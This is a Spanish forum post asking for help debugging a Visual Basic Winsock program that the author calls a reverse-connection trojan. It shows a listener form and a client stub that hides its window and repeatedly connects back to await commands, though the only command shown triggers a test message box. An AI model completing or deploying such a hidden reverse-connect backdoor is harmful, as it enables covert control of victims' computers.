Estaba hoy viendo como trabaja un poco el winsock y me meti en el mundo de hacer un troyano de conexion inversa
Conecta y todo bien, el problema es en el momento de hacer un SendData me tira este error

Aqui les dejo el codigo del formulario,
Código: Seleccionar todo
Private Sub Command1_Click()
Winsock1.Listen
End Sub
Private Sub Command3_Click()
Winsock1.Close
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Command2_Click()
Winsock1.SendData "msg"
End Sub
Private Sub Timer1_Timer()
If Winsock1.State = 7 Then
Label2.Caption = "Conectado"
ElseIf Winsock1.State = 0 Then
Label2.Caption = "Desconectado"
ElseIf Winsock1.State = 2 Then
Label2.Caption = "Escuchando"
End If
End Sub
Private Sub Timer2_Timer()
If Winsock1.State = 7 Then
Label4.Caption = Winsock1.RemoteHostIP
Timer2.Enabled = False
End If
End Sub
Código: Seleccionar todo
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
If Winsock1.State = 0 Then
Winsock1.Connect
Else
Winsock1.Close
End If
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
If datos = "apagar" Then
MsgBox "funciona"
End If
End Sub
Alguna idea de lo que puede pasar? gracias
Edito:
Me confundi, esto va en dudas de programacion, si pueden por favor muevanlo